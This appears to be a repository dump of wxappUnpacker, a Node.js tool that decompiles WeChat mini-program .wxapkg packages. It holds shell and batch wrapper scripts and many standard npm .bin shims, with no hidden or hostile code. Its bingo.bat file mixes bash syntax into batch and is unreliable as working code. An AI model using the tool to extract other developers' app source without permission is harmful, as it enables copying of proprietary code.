23 | 程序包(你所要解压的程序包地址, 可为网盘链接, 也可直接上传[上传前请先打包]. 必填):
24 |
25 | 其他附加内容:
26 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/bingo.bat:
--------------------------------------------------------------------------------
1 | # WXAPPUNPACKER_PATH 项目路径
2 | set WXAPPUNPACKER_PATH=%~dp0
3 |
4 | set FILE_FORMAT=wxapkg
5 |
6 | :wxappUnpacker_pkg
7 |
8 | echo "node %WXAPPUNPACKER_PATH%/wuWxapkg.js %fname%"
9 |
10 | node %WXAPPUNPACKER_PATH%/wuWxapkg.js %2 %1
11 |
12 | goto:eof
13 |
14 | :wxappUnpacker
15 |
16 | set de_dir=%1
17 |
18 | if "%de_dir%" == ""
19 |
20 | set de_dir=%WXAPPUNPACKER_PATH%
21 |
22 | echo %de_dir%
23 |
24 | echo "for wxapkg in `find %de_dir% "*.${FILE_FORMAT}"`"
25 |
26 | for %%fname in `/f %de_dir% -name "*.%FILE_FORMAT%"`
27 |
28 | do
29 |
30 | (call :wxappUnpacker_pkg %fname% %2)
31 |
32 | goto:eof
33 |
34 | :de_pkg
35 |
36 | if "-d" == "%1"
37 |
38 | (call :wxappUnpacker %1 %2)
39 |
40 | else
41 |
42 | (call :wxappUnpacker_pkg %1 %2)
43 |
44 | goto:eof
45 |
46 | # $1: pkg file or pkg dir; $2: order
47 |
48 | call :de_pkg %1 %2
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/bingo.sh:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env bash
2 |
3 | # MyWxappUnpacker 项目路径
4 | WXAPPUNPACKER_PATH=`pwd`
5 |
6 | FILE_FORMAT=wxapkg
7 |
8 | wxappUnpacker_pkg() {
9 | echo "node ${WXAPPUNPACKER_PATH}/wuWxapkg.js ${fname}"
10 | node ${WXAPPUNPACKER_PATH}/wuWxapkg.js $2 $1
11 | return 0;
12 | }
13 |
14 | wxappUnpacker() {
15 | de_dir=$1
16 | if [ -z "$1" ]
17 | then
18 | de_dir=`pwd`
19 | fi
20 | echo "${de_dir}"
21 | echo "for wxapkg in `find ${de_dir} -name "*.${FILE_FORMAT}"`"
22 | for fname in `find ${de_dir} -name "*.${FILE_FORMAT}"`
23 | do
24 | wxappUnpacker_pkg ${fname} $2
25 | done
26 | return 0;
27 | }
28 |
29 | de_pkg() {
30 | if [ "-d" == "$1" ]
31 | then
32 | wxappUnpacker $1 $2
33 | else
34 | wxappUnpacker_pkg $1 $2
35 | fi
36 | return 0;
37 | }
38 | # $1: pkg file or pkg dir; $2: order
39 | de_pkg $1 $2
40 |
41 |
42 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/.bin/css-beautify:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 | basedir=$(dirname "$(echo "$0" | sed -e 's,\\,/,g')")
3 |
4 | case `uname` in
5 | *CYGWIN*|*MINGW*|*MSYS*) basedir=`cygpath -w "$basedir"`;;
6 | esac
7 |
8 | if [ -x "$basedir/node" ]; then
9 | "$basedir/node" "$basedir/../js-beautify/js/bin/css-beautify.js" "$@"
10 | ret=$?
11 | else
12 | node "$basedir/../js-beautify/js/bin/css-beautify.js" "$@"
13 | ret=$?
14 | fi
15 | exit $ret
16 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/.bin/css-beautify.cmd:
--------------------------------------------------------------------------------
1 | @ECHO off
2 | SETLOCAL
3 | CALL :find_dp0
4 |
5 | IF EXIST "%dp0%\node.exe" (
6 | SET "_prog=%dp0%\node.exe"
7 | ) ELSE (
8 | SET "_prog=node"
9 | SET PATHEXT=%PATHEXT:;.JS;=;%
10 | )
11 |
12 | "%_prog%" "%dp0%\..\js-beautify\js\bin\css-beautify.js" %*
13 | ENDLOCAL
14 | EXIT /b %errorlevel%
15 | :find_dp0
16 | SET dp0=%~dp0
17 | EXIT /b
18 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/.bin/css-beautify.ps1:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env pwsh
2 | $basedir=Split-Path $MyInvocation.MyCommand.Definition -Parent
3 |
4 | $exe=""
5 | if ($PSVersionTable.PSVersion -lt "6.0" -or $IsWindows) {
6 | # Fix case when both the Windows and Linux builds of Node
7 | # are installed in the same directory
8 | $exe=".exe"
9 | }
10 | $ret=0
11 | if (Test-Path "$basedir/node$exe") {
12 | & "$basedir/node$exe" "$basedir/../js-beautify/js/bin/css-beautify.js" $args
13 | $ret=$LASTEXITCODE
14 | } else {
15 | & "node$exe" "$basedir/../js-beautify/js/bin/css-beautify.js" $args
16 | $ret=$LASTEXITCODE
17 | }
18 | exit $ret
19 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/.bin/cssbeautify:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 | basedir=$(dirname "$(echo "$0" | sed -e 's,\\,/,g')")
3 |
4 | case `uname` in
5 | *CYGWIN*|*MINGW*|*MSYS*) basedir=`cygpath -w "$basedir"`;;
6 | esac
7 |
8 | if [ -x "$basedir/node" ]; then
9 | "$basedir/node" "$basedir/../cssbeautify/bin/cssbeautify" "$@"
10 | ret=$?
11 | else
12 | node "$basedir/../cssbeautify/bin/cssbeautify" "$@"
13 | ret=$?
14 | fi
15 | exit $ret
16 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/.bin/cssbeautify.cmd:
--------------------------------------------------------------------------------
1 | @ECHO off
2 | SETLOCAL
3 | CALL :find_dp0
4 |
5 | IF EXIST "%dp0%\node.exe" (
6 | SET "_prog=%dp0%\node.exe"
7 | ) ELSE (
8 | SET "_prog=node"
9 | SET PATHEXT=%PATHEXT:;.JS;=;%
10 | )
11 |
12 | "%_prog%" "%dp0%\..\cssbeautify\bin\cssbeautify" %*
13 | ENDLOCAL
14 | EXIT /b %errorlevel%
15 | :find_dp0
16 | SET dp0=%~dp0
17 | EXIT /b
18 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/.bin/cssbeautify.ps1:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env pwsh
2 | $basedir=Split-Path $MyInvocation.MyCommand.Definition -Parent
3 |
4 | $exe=""
5 | if ($PSVersionTable.PSVersion -lt "6.0" -or $IsWindows) {
6 | # Fix case when both the Windows and Linux builds of Node
7 | # are installed in the same directory
8 | $exe=".exe"
9 | }
10 | $ret=0
11 | if (Test-Path "$basedir/node$exe") {
12 | & "$basedir/node$exe" "$basedir/../cssbeautify/bin/cssbeautify" $args
13 | $ret=$LASTEXITCODE
14 | } else {
15 | & "node$exe" "$basedir/../cssbeautify/bin/cssbeautify" $args
16 | $ret=$LASTEXITCODE
17 | }
18 | exit $ret
19 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/.bin/editorconfig:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 | basedir=$(dirname "$(echo "$0" | sed -e 's,\\,/,g')")
3 |
4 | case `uname` in
5 | *CYGWIN*|*MINGW*|*MSYS*) basedir=`cygpath -w "$basedir"`;;
6 | esac
7 |
8 | if [ -x "$basedir/node" ]; then
9 | "$basedir/node" "$basedir/../editorconfig/bin/editorconfig" "$@"
10 | ret=$?
11 | else
12 | node "$basedir/../editorconfig/bin/editorconfig" "$@"
13 | ret=$?
14 | fi
15 | exit $ret
16 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/.bin/editorconfig.cmd:
--------------------------------------------------------------------------------
1 | @ECHO off
2 | SETLOCAL
3 | CALL :find_dp0
4 |
5 | IF EXIST "%dp0%\node.exe" (
6 | SET "_prog=%dp0%\node.exe"
7 | ) ELSE (
8 | SET "_prog=node"
9 | SET PATHEXT=%PATHEXT:;.JS;=;%
10 | )
11 |
12 | "%_prog%" "%dp0%\..\editorconfig\bin\editorconfig" %*
13 | ENDLOCAL
14 | EXIT /b %errorlevel%
15 | :find_dp0
16 | SET dp0=%~dp0
17 | EXIT /b
18 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/.bin/editorconfig.ps1:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env pwsh
2 | $basedir=Split-Path $MyInvocation.MyCommand.Definition -Parent
3 |
4 | $exe=""
5 | if ($PSVersionTable.PSVersion -lt "6.0" -or $IsWindows) {
6 | # Fix case when both the Windows and Linux builds of Node
7 | # are installed in the same directory
8 | $exe=".exe"
9 | }
10 | $ret=0
11 | if (Test-Path "$basedir/node$exe") {
12 | & "$basedir/node$exe" "$basedir/../editorconfig/bin/editorconfig" $args
13 | $ret=$LASTEXITCODE
14 | } else {
15 | & "node$exe" "$basedir/../editorconfig/bin/editorconfig" $args
16 | $ret=$LASTEXITCODE
17 | }
18 | exit $ret
19 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/.bin/escodegen:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 | basedir=$(dirname "$(echo "$0" | sed -e 's,\\,/,g')")
3 |
4 | case `uname` in
5 | *CYGWIN*|*MINGW*|*MSYS*) basedir=`cygpath -w "$basedir"`;;
6 | esac
7 |
8 | if [ -x "$basedir/node" ]; then
9 | "$basedir/node" "$basedir/../escodegen/bin/escodegen.js" "$@"
10 | ret=$?
11 | else
12 | node "$basedir/../escodegen/bin/escodegen.js" "$@"
13 | ret=$?
14 | fi
15 | exit $ret
16 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/.bin/escodegen.cmd:
--------------------------------------------------------------------------------
1 | @ECHO off
2 | SETLOCAL
3 | CALL :find_dp0
4 |
5 | IF EXIST "%dp0%\node.exe" (
6 | SET "_prog=%dp0%\node.exe"
7 | ) ELSE (
8 | SET "_prog=node"
9 | SET PATHEXT=%PATHEXT:;.JS;=;%
10 | )
11 |
12 | "%_prog%" "%dp0%\..\escodegen\bin\escodegen.js" %*
13 | ENDLOCAL
14 | EXIT /b %errorlevel%
15 | :find_dp0
16 | SET dp0=%~dp0
17 | EXIT /b
18 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/.bin/escodegen.ps1:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env pwsh
2 | $basedir=Split-Path $MyInvocation.MyCommand.Definition -Parent
3 |
4 | $exe=""
5 | if ($PSVersionTable.PSVersion -lt "6.0" -or $IsWindows) {
6 | # Fix case when both the Windows and Linux builds of Node
7 | # are installed in the same directory
8 | $exe=".exe"
9 | }
10 | $ret=0
11 | if (Test-Path "$basedir/node$exe") {
12 | & "$basedir/node$exe" "$basedir/../escodegen/bin/escodegen.js" $args
13 | $ret=$LASTEXITCODE
14 | } else {
15 | & "node$exe" "$basedir/../escodegen/bin/escodegen.js" $args
16 | $ret=$LASTEXITCODE
17 | }
18 | exit $ret
19 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/.bin/esgenerate:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 | basedir=$(dirname "$(echo "$0" | sed -e 's,\\,/,g')")
3 |
4 | case `uname` in
5 | *CYGWIN*|*MINGW*|*MSYS*) basedir=`cygpath -w "$basedir"`;;
6 | esac
7 |
8 | if [ -x "$basedir/node" ]; then
9 | "$basedir/node" "$basedir/../escodegen/bin/esgenerate.js" "$@"
10 | ret=$?
11 | else
12 | node "$basedir/../escodegen/bin/esgenerate.js" "$@"
13 | ret=$?
14 | fi
15 | exit $ret
16 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/.bin/esgenerate.cmd:
--------------------------------------------------------------------------------
1 | @ECHO off
2 | SETLOCAL
3 | CALL :find_dp0
4 |
5 | IF EXIST "%dp0%\node.exe" (
6 | SET "_prog=%dp0%\node.exe"
7 | ) ELSE (
8 | SET "_prog=node"
9 | SET PATHEXT=%PATHEXT:;.JS;=;%
10 | )
11 |
12 | "%_prog%" "%dp0%\..\escodegen\bin\esgenerate.js" %*
13 | ENDLOCAL
14 | EXIT /b %errorlevel%
15 | :find_dp0
16 | SET dp0=%~dp0
17 | EXIT /b
18 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/.bin/esgenerate.ps1:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env pwsh
2 | $basedir=Split-Path $MyInvocation.MyCommand.Definition -Parent
3 |
4 | $exe=""
5 | if ($PSVersionTable.PSVersion -lt "6.0" -or $IsWindows) {
6 | # Fix case when both the Windows and Linux builds of Node
7 | # are installed in the same directory
8 | $exe=".exe"
9 | }
10 | $ret=0
11 | if (Test-Path "$basedir/node$exe") {
12 | & "$basedir/node$exe" "$basedir/../escodegen/bin/esgenerate.js" $args
13 | $ret=$LASTEXITCODE
14 | } else {
15 | & "node$exe" "$basedir/../escodegen/bin/esgenerate.js" $args
16 | $ret=$LASTEXITCODE
17 | }
18 | exit $ret
19 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/.bin/esparse:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 | basedir=$(dirname "$(echo "$0" | sed -e 's,\\,/,g')")
3 |
4 | case `uname` in
5 | *CYGWIN*|*MINGW*|*MSYS*) basedir=`cygpath -w "$basedir"`;;
6 | esac
7 |
8 | if [ -x "$basedir/node" ]; then
9 | "$basedir/node" "$basedir/../esprima/bin/esparse.js" "$@"
10 | ret=$?
11 | else
12 | node "$basedir/../esprima/bin/esparse.js" "$@"
13 | ret=$?
14 | fi
15 | exit $ret
16 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/.bin/esparse.cmd:
--------------------------------------------------------------------------------
1 | @ECHO off
2 | SETLOCAL
3 | CALL :find_dp0
4 |
5 | IF EXIST "%dp0%\node.exe" (
6 | SET "_prog=%dp0%\node.exe"
7 | ) ELSE (
8 | SET "_prog=node"
9 | SET PATHEXT=%PATHEXT:;.JS;=;%
10 | )
11 |
12 | "%_prog%" "%dp0%\..\esprima\bin\esparse.js" %*
13 | ENDLOCAL
14 | EXIT /b %errorlevel%
15 | :find_dp0
16 | SET dp0=%~dp0
17 | EXIT /b
18 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/.bin/esparse.ps1:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env pwsh
2 | $basedir=Split-Path $MyInvocation.MyCommand.Definition -Parent
3 |
4 | $exe=""
5 | if ($PSVersionTable.PSVersion -lt "6.0" -or $IsWindows) {
6 | # Fix case when both the Windows and Linux builds of Node
7 | # are installed in the same directory
8 | $exe=".exe"
9 | }
10 | $ret=0
11 | if (Test-Path "$basedir/node$exe") {
12 | & "$basedir/node$exe" "$basedir/../esprima/bin/esparse.js" $args
13 | $ret=$LASTEXITCODE
14 | } else {
15 | & "node$exe" "$basedir/../esprima/bin/esparse.js" $args
16 | $ret=$LASTEXITCODE
17 | }
18 | exit $ret
19 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/.bin/esvalidate:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 | basedir=$(dirname "$(echo "$0" | sed -e 's,\\,/,g')")
3 |
4 | case `uname` in
5 | *CYGWIN*|*MINGW*|*MSYS*) basedir=`cygpath -w "$basedir"`;;
6 | esac
7 |
8 | if [ -x "$basedir/node" ]; then
9 | "$basedir/node" "$basedir/../esprima/bin/esvalidate.js" "$@"
10 | ret=$?
11 | else
12 | node "$basedir/../esprima/bin/esvalidate.js" "$@"
13 | ret=$?
14 | fi
15 | exit $ret
16 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/.bin/esvalidate.cmd:
--------------------------------------------------------------------------------
1 | @ECHO off
2 | SETLOCAL
3 | CALL :find_dp0
4 |
5 | IF EXIST "%dp0%\node.exe" (
6 | SET "_prog=%dp0%\node.exe"
7 | ) ELSE (
8 | SET "_prog=node"
9 | SET PATHEXT=%PATHEXT:;.JS;=;%
10 | )
11 |
12 | "%_prog%" "%dp0%\..\esprima\bin\esvalidate.js" %*
13 | ENDLOCAL
14 | EXIT /b %errorlevel%
15 | :find_dp0
16 | SET dp0=%~dp0
17 | EXIT /b
18 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/.bin/esvalidate.ps1:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env pwsh
2 | $basedir=Split-Path $MyInvocation.MyCommand.Definition -Parent
3 |
4 | $exe=""
5 | if ($PSVersionTable.PSVersion -lt "6.0" -or $IsWindows) {
6 | # Fix case when both the Windows and Linux builds of Node
7 | # are installed in the same directory
8 | $exe=".exe"
9 | }
10 | $ret=0
11 | if (Test-Path "$basedir/node$exe") {
12 | & "$basedir/node$exe" "$basedir/../esprima/bin/esvalidate.js" $args
13 | $ret=$LASTEXITCODE
14 | } else {
15 | & "node$exe" "$basedir/../esprima/bin/esvalidate.js" $args
16 | $ret=$LASTEXITCODE
17 | }
18 | exit $ret
19 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/.bin/html-beautify:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 | basedir=$(dirname "$(echo "$0" | sed -e 's,\\,/,g')")
3 |
4 | case `uname` in
5 | *CYGWIN*|*MINGW*|*MSYS*) basedir=`cygpath -w "$basedir"`;;
6 | esac
7 |
8 | if [ -x "$basedir/node" ]; then
9 | "$basedir/node" "$basedir/../js-beautify/js/bin/html-beautify.js" "$@"
10 | ret=$?
11 | else
12 | node "$basedir/../js-beautify/js/bin/html-beautify.js" "$@"
13 | ret=$?
14 | fi
15 | exit $ret
16 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/.bin/html-beautify.cmd:
--------------------------------------------------------------------------------
1 | @ECHO off
2 | SETLOCAL
3 | CALL :find_dp0
4 |
5 | IF EXIST "%dp0%\node.exe" (
6 | SET "_prog=%dp0%\node.exe"
7 | ) ELSE (
8 | SET "_prog=node"
9 | SET PATHEXT=%PATHEXT:;.JS;=;%
10 | )
11 |
12 | "%_prog%" "%dp0%\..\js-beautify\js\bin\html-beautify.js" %*
13 | ENDLOCAL
14 | EXIT /b %errorlevel%
15 | :find_dp0
16 | SET dp0=%~dp0
17 | EXIT /b
18 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/.bin/html-beautify.ps1:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env pwsh
2 | $basedir=Split-Path $MyInvocation.MyCommand.Definition -Parent
3 |
4 | $exe=""
5 | if ($PSVersionTable.PSVersion -lt "6.0" -or $IsWindows) {
6 | # Fix case when both the Windows and Linux builds of Node
7 | # are installed in the same directory
8 | $exe=".exe"
9 | }
10 | $ret=0
11 | if (Test-Path "$basedir/node$exe") {
12 | & "$basedir/node$exe" "$basedir/../js-beautify/js/bin/html-beautify.js" $args
13 | $ret=$LASTEXITCODE
14 | } else {
15 | & "node$exe" "$basedir/../js-beautify/js/bin/html-beautify.js" $args
16 | $ret=$LASTEXITCODE
17 | }
18 | exit $ret
19 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/.bin/js-beautify:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 | basedir=$(dirname "$(echo "$0" | sed -e 's,\\,/,g')")
3 |
4 | case `uname` in
5 | *CYGWIN*|*MINGW*|*MSYS*) basedir=`cygpath -w "$basedir"`;;
6 | esac
7 |
8 | if [ -x "$basedir/node" ]; then
9 | "$basedir/node" "$basedir/../js-beautify/js/bin/js-beautify.js" "$@"
10 | ret=$?
11 | else
12 | node "$basedir/../js-beautify/js/bin/js-beautify.js" "$@"
13 | ret=$?
14 | fi
15 | exit $ret
16 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/.bin/js-beautify.cmd:
--------------------------------------------------------------------------------
1 | @ECHO off
2 | SETLOCAL
3 | CALL :find_dp0
4 |
5 | IF EXIST "%dp0%\node.exe" (
6 | SET "_prog=%dp0%\node.exe"
7 | ) ELSE (
8 | SET "_prog=node"
9 | SET PATHEXT=%PATHEXT:;.JS;=;%
10 | )
11 |
12 | "%_prog%" "%dp0%\..\js-beautify\js\bin\js-beautify.js" %*
13 | ENDLOCAL
14 | EXIT /b %errorlevel%
15 | :find_dp0
16 | SET dp0=%~dp0
17 | EXIT /b
18 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/.bin/js-beautify.ps1:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env pwsh
2 | $basedir=Split-Path $MyInvocation.MyCommand.Definition -Parent
3 |
4 | $exe=""
5 | if ($PSVersionTable.PSVersion -lt "6.0" -or $IsWindows) {
6 | # Fix case when both the Windows and Linux builds of Node
7 | # are installed in the same directory
8 | $exe=".exe"
9 | }
10 | $ret=0
11 | if (Test-Path "$basedir/node$exe") {
12 | & "$basedir/node$exe" "$basedir/../js-beautify/js/bin/js-beautify.js" $args
13 | $ret=$LASTEXITCODE
14 | } else {
15 | & "node$exe" "$basedir/../js-beautify/js/bin/js-beautify.js" $args
16 | $ret=$LASTEXITCODE
17 | }
18 | exit $ret
19 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/.bin/mkdirp:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 | basedir=$(dirname "$(echo "$0" | sed -e 's,\\,/,g')")
3 |
4 | case `uname` in
5 | *CYGWIN*|*MINGW*|*MSYS*) basedir=`cygpath -w "$basedir"`;;
6 | esac
7 |
8 | if [ -x "$basedir/node" ]; then
9 | "$basedir/node" "$basedir/../mkdirp/bin/cmd.js" "$@"
10 | ret=$?
11 | else
12 | node "$basedir/../mkdirp/bin/cmd.js" "$@"
13 | ret=$?
14 | fi
15 | exit $ret
16 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/.bin/mkdirp.cmd:
--------------------------------------------------------------------------------
1 | @ECHO off
2 | SETLOCAL
3 | CALL :find_dp0
4 |
5 | IF EXIST "%dp0%\node.exe" (
6 | SET "_prog=%dp0%\node.exe"
7 | ) ELSE (
8 | SET "_prog=node"
9 | SET PATHEXT=%PATHEXT:;.JS;=;%
10 | )
11 |
12 | "%_prog%" "%dp0%\..\mkdirp\bin\cmd.js" %*
13 | ENDLOCAL
14 | EXIT /b %errorlevel%
15 | :find_dp0
16 | SET dp0=%~dp0
17 | EXIT /b
18 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/.bin/mkdirp.ps1:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env pwsh
2 | $basedir=Split-Path $MyInvocation.MyCommand.Definition -Parent
3 |
4 | $exe=""
5 | if ($PSVersionTable.PSVersion -lt "6.0" -or $IsWindows) {
6 | # Fix case when both the Windows and Linux builds of Node
7 | # are installed in the same directory
8 | $exe=".exe"
9 | }
10 | $ret=0
11 | if (Test-Path "$basedir/node$exe") {
12 | & "$basedir/node$exe" "$basedir/../mkdirp/bin/cmd.js" $args
13 | $ret=$LASTEXITCODE
14 | } else {
15 | & "node$exe" "$basedir/../mkdirp/bin/cmd.js" $args
16 | $ret=$LASTEXITCODE
17 | }
18 | exit $ret
19 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/.bin/nopt:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 | basedir=$(dirname "$(echo "$0" | sed -e 's,\\,/,g')")
3 |
4 | case `uname` in
5 | *CYGWIN*|*MINGW*|*MSYS*) basedir=`cygpath -w "$basedir"`;;
6 | esac
7 |
8 | if [ -x "$basedir/node" ]; then
9 | "$basedir/node" "$basedir/../nopt/bin/nopt.js" "$@"
10 | ret=$?
11 | else
12 | node "$basedir/../nopt/bin/nopt.js" "$@"
13 | ret=$?
14 | fi
15 | exit $ret
16 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/.bin/nopt.cmd:
--------------------------------------------------------------------------------
1 | @ECHO off
2 | SETLOCAL
3 | CALL :find_dp0
4 |
5 | IF EXIST "%dp0%\node.exe" (
6 | SET "_prog=%dp0%\node.exe"
7 | ) ELSE (
8 | SET "_prog=node"
9 | SET PATHEXT=%PATHEXT:;.JS;=;%
10 | )
11 |
12 | "%_prog%" "%dp0%\..\nopt\bin\nopt.js" %*
13 | ENDLOCAL
14 | EXIT /b %errorlevel%
15 | :find_dp0
16 | SET dp0=%~dp0
17 | EXIT /b
18 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/.bin/nopt.ps1:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env pwsh
2 | $basedir=Split-Path $MyInvocation.MyCommand.Definition -Parent
3 |
4 | $exe=""
5 | if ($PSVersionTable.PSVersion -lt "6.0" -or $IsWindows) {
6 | # Fix case when both the Windows and Linux builds of Node
7 | # are installed in the same directory
8 | $exe=".exe"
9 | }
10 | $ret=0
11 | if (Test-Path "$basedir/node$exe") {
12 | & "$basedir/node$exe" "$basedir/../nopt/bin/nopt.js" $args
13 | $ret=$LASTEXITCODE
14 | } else {
15 | & "node$exe" "$basedir/../nopt/bin/nopt.js" $args
16 | $ret=$LASTEXITCODE
17 | }
18 | exit $ret
19 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/.bin/semver:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 | basedir=$(dirname "$(echo "$0" | sed -e 's,\\,/,g')")
3 |
4 | case `uname` in
5 | *CYGWIN*|*MINGW*|*MSYS*) basedir=`cygpath -w "$basedir"`;;
6 | esac
7 |
8 | if [ -x "$basedir/node" ]; then
9 | "$basedir/node" "$basedir/../semver/bin/semver" "$@"
10 | ret=$?
11 | else
12 | node "$basedir/../semver/bin/semver" "$@"
13 | ret=$?
14 | fi
15 | exit $ret
16 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/.bin/semver.cmd:
--------------------------------------------------------------------------------
1 | @ECHO off
2 | SETLOCAL
3 | CALL :find_dp0
4 |
5 | IF EXIST "%dp0%\node.exe" (
6 | SET "_prog=%dp0%\node.exe"
7 | ) ELSE (
8 | SET "_prog=node"
9 | SET PATHEXT=%PATHEXT:;.JS;=;%
10 | )
11 |
12 | "%_prog%" "%dp0%\..\semver\bin\semver" %*
13 | ENDLOCAL
14 | EXIT /b %errorlevel%
15 | :find_dp0
16 | SET dp0=%~dp0
17 | EXIT /b
18 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/.bin/semver.ps1:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env pwsh
2 | $basedir=Split-Path $MyInvocation.MyCommand.Definition -Parent
3 |
4 | $exe=""
5 | if ($PSVersionTable.PSVersion -lt "6.0" -or $IsWindows) {
6 | # Fix case when both the Windows and Linux builds of Node
7 | # are installed in the same directory
8 | $exe=".exe"
9 | }
10 | $ret=0
11 | if (Test-Path "$basedir/node$exe") {
12 | & "$basedir/node$exe" "$basedir/../semver/bin/semver" $args
13 | $ret=$LASTEXITCODE
14 | } else {
15 | & "node$exe" "$basedir/../semver/bin/semver" $args
16 | $ret=$LASTEXITCODE
17 | }
18 | exit $ret
19 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/.bin/uglifyjs:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 | basedir=$(dirname "$(echo "$0" | sed -e 's,\\,/,g')")
3 |
4 | case `uname` in
5 | *CYGWIN*|*MINGW*|*MSYS*) basedir=`cygpath -w "$basedir"`;;
6 | esac
7 |
8 | if [ -x "$basedir/node" ]; then
9 | "$basedir/node" "$basedir/../uglify-es/bin/uglifyjs" "$@"
10 | ret=$?
11 | else
12 | node "$basedir/../uglify-es/bin/uglifyjs" "$@"
13 | ret=$?
14 | fi
15 | exit $ret
16 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/.bin/uglifyjs.cmd:
--------------------------------------------------------------------------------
1 | @ECHO off
2 | SETLOCAL
3 | CALL :find_dp0
4 |
5 | IF EXIST "%dp0%\node.exe" (
6 | SET "_prog=%dp0%\node.exe"
7 | ) ELSE (
8 | SET "_prog=node"
9 | SET PATHEXT=%PATHEXT:;.JS;=;%
10 | )
11 |
12 | "%_prog%" "%dp0%\..\uglify-es\bin\uglifyjs" %*
13 | ENDLOCAL
14 | EXIT /b %errorlevel%
15 | :find_dp0
16 | SET dp0=%~dp0
17 | EXIT /b
18 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/.bin/uglifyjs.ps1:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env pwsh
2 | $basedir=Split-Path $MyInvocation.MyCommand.Definition -Parent
3 |
4 | $exe=""
5 | if ($PSVersionTable.PSVersion -lt "6.0" -or $IsWindows) {
6 | # Fix case when both the Windows and Linux builds of Node
7 | # are installed in the same directory
8 | $exe=".exe"
9 | }
10 | $ret=0
11 | if (Test-Path "$basedir/node$exe") {
12 | & "$basedir/node$exe" "$basedir/../uglify-es/bin/uglifyjs" $args
13 | $ret=$LASTEXITCODE
14 | } else {
15 | & "node$exe" "$basedir/../uglify-es/bin/uglifyjs" $args
16 | $ret=$LASTEXITCODE
17 | }
18 | exit $ret
19 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/.bin/vm2:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 | basedir=$(dirname "$(echo "$0" | sed -e 's,\\,/,g')")
3 |
4 | case `uname` in
5 | *CYGWIN*|*MINGW*|*MSYS*) basedir=`cygpath -w "$basedir"`;;
6 | esac
7 |
8 | if [ -x "$basedir/node" ]; then
9 | "$basedir/node" "$basedir/../vm2/bin/vm2" "$@"
10 | ret=$?
11 | else
12 | node "$basedir/../vm2/bin/vm2" "$@"
13 | ret=$?
14 | fi
15 | exit $ret
16 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/.bin/vm2.cmd:
--------------------------------------------------------------------------------
1 | @ECHO off
2 | SETLOCAL
3 | CALL :find_dp0
4 |
